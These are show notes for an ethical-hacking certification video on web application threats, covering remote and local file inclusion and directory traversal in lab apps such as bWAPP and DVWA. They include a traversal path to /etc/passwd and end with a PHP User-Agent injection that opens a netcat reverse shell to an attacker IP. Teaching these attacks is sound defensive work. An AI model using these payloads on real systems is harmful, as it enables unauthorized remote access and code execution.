- Filename: eccouncil-ceh31250-v10-14-1-2-common_web_app_threats_pt2.md
- Show Name: CEHv10 (312-50)
- Topic Name: Hacking Web Applications
- Episode Name: Common Web App Threats Pt.2
- Description: In this episode, Daniel and Zach walk you through the plethora of threats geared toward Web Applications. Here they will demonstrate the use of File Inclusions using RFI and LFI attacks. They also look into the related Directory Traversal attacks; showing how using these attacks could lead to unauthorized remote access and code execution.

==

Common Web App Threats Pt.2

- File Inclusions
    - What is file inclusion?
        - Calling on a file for info from a local or remote source
    - How do you test for it?
        - Vulnerability Scanners
        - Manual testing
            - Look for files being called by the web app
                - In the URL
                    - `file=file1.php&...`
                    - `file=http://victim.com/resource.php&...`
    - Remote
        - Calls a file from a remote server
            - Test by modifying URL to reach out to attack server for file
                - Payload = `/root/Tools/test`
        - We can redirect to Attack Server for malicious payload
            - DEMO: bWAPP File Inclusion (RFI)
                - Payload = `/root/Tools/netkat.php`
    - Local
        - Uses files from target's local server
            - Test by trying to read `/etc/passwd`
                - Sometimes you will need to try dir traversal
                    - Explain Directory Traversal
                        - Improper configuration
                            - `../../../../../../../../etc/passwd`
- Directory Traversal
    - ../../../file
    - Attack methodology
        - Manipulate commonly accessible files
            - `/proc/self/environ`
                - Older vector, so may be locked down as well
                    - Works with DVWA :)

- Use `environ` file to see output
    - Notice **USER_AGENT**
        - We can modify that with Burp
            - Change User Agent to...
              `-<?php system("nc -nv 10.0.0.199 4444 -e /bin/bash");?>`